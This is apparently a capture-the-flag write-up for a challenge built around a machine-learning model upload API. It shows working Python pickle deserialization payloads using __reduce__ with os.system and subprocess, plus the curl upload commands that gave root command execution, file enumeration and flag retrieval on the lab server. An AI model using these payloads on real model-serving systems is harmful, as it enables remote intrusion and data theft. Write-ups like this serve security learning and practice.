Pickle Deserialization RCE via Model Upload Endpoint
I write to revisit topics I’m interested in or when I’m bored and curious.
Link: https://www.ratctf.com/challenges/synapse-lab
This challenge revolves around a classic but still heavily abused primitive: unsafe Python pickle deserialization exposed through a model upload API.
The attack surface looked like a typical ML-serving backend exposing .pkl models and an upload endpoint that trusts user-controlled serialized input.
1. Initial Recon
Basic service enumeration:
nmap -sV -p 30590,30589 45.79.202.95
Observations
HTTP service running on
30590SSH service on
30589Primary attack surface: web API
At this stage, focus shifted to API enumeration rather than UI interaction.
2. API Surface Discovery
The backend exposed a model listing endpoint:
curl http://45.79.202.95:30590/api/models
Response
{
"models": [
"sentiment-v2.pkl",
"fraud-detector.pkl",
"price-predictor.pkl"
]
}
Key insight
Backend is clearly ML-oriented
.pklextension strongly suggests Python pickle serializationHigh probability of unsafe deserialization if models are user-influenced
3. Upload Endpoint Discovery
Further probing revealed an upload endpoint:
curl http://45.79.202.95:30590/upload
Behavior
Accepts
multipart/form-dataField name:
modelServer-side processing implied deserialization using
pickle.loads()
At this point, the attack surface is effectively:
User-controlled pickle → server-side deserialization → potential RCE
4. Exploitation Strategy
Python’s pickle module allows arbitrary code execution through object reconstruction hooks such as:
__reduce____setstate__
If the server deserializes attacker-controlled data, we can trigger OS command execution.
5. Initial RCE Proof of Concept
Payload generation
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
Upload
curl -F "model=@payload.pkl" http://45.79.202.95:30590/upload
Result
0
Interpretation
Command executed successfully
Exit code returned (
0)Confirms deserialization execution context
6. Confirming Execution Context
To validate privilege level:
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.check_output, (["whoami"],))
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
Upload result
b'root\n'
Conclusion
Remote code execution confirmed
Execution context:
root
This dramatically expands attack surface: full filesystem access.
7. Post-Exploitation Enumeration
Now that we have RCE, focus shifted to environment mapping.
Filesystem discovery payload
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (
subprocess.check_output,
(["find", "/opt/synapse", "-type", "f"],)
)
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
Output
/opt/synapse/models/.system/.root_flag
/opt/synapse/app.py
/opt/synapse/templates/...
/opt/synapse/venv/...
Key discovery
Hidden file:
/opt/synapse/models/.system/.root_flag
This strongly suggests a deliberately hidden flag location inside model storage structure.
8. Flag Extraction
Final payload:
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (
subprocess.check_output,
(["cat", "/opt/synapse/models/.system/.root_flag"],)
)
with open("payload.pkl", "wb") as f:
pickle.dump(Exploit(), f)
Upload
curl -F "model=@payload.pkl" http://45.79.202.95:30590/upload
Result: got flag
9. Misleading Approaches
Attempt 1: Direct file download
curl http://45.79.202.95:30590/models/sentiment-v2.pkl
Result:
404 response
No direct file access
Attempt 2: Local pickle inspection
import pickle
with open("sentiment.pkl","rb") as f:
pickle.load(f)
Error:
_pickle.UnpicklingError: invalid load key '<'
Indicates:
Not a real pickle file
Likely HTML error page or proxy response
Attempt 3: Python internals enumeration
import sys
print(sys.modules.keys())
Result:
Only standard library modules visible
No application-specific modules exposed
Attempt 4: GC object scanning
No exploitable objects found in heap space.
Attempt 5: Broad filesystem enumeration
find /opt / -type f -name "*.pkl"
Result:
No meaningful model artifacts outside
/opt/synapseNoise from virtual environment paths
10. Key Takeaways
This was a straightforward but clean example of:
Unsafe deserialization via
pickle.loads()Direct RCE via
__reduce__gadgetFull system compromise through a single upload endpoint
Exploitation chain
Upload endpoint → pickle.loads() → gadget execution → OS command execution → root shell context → filesystem traversal → flag retrieval



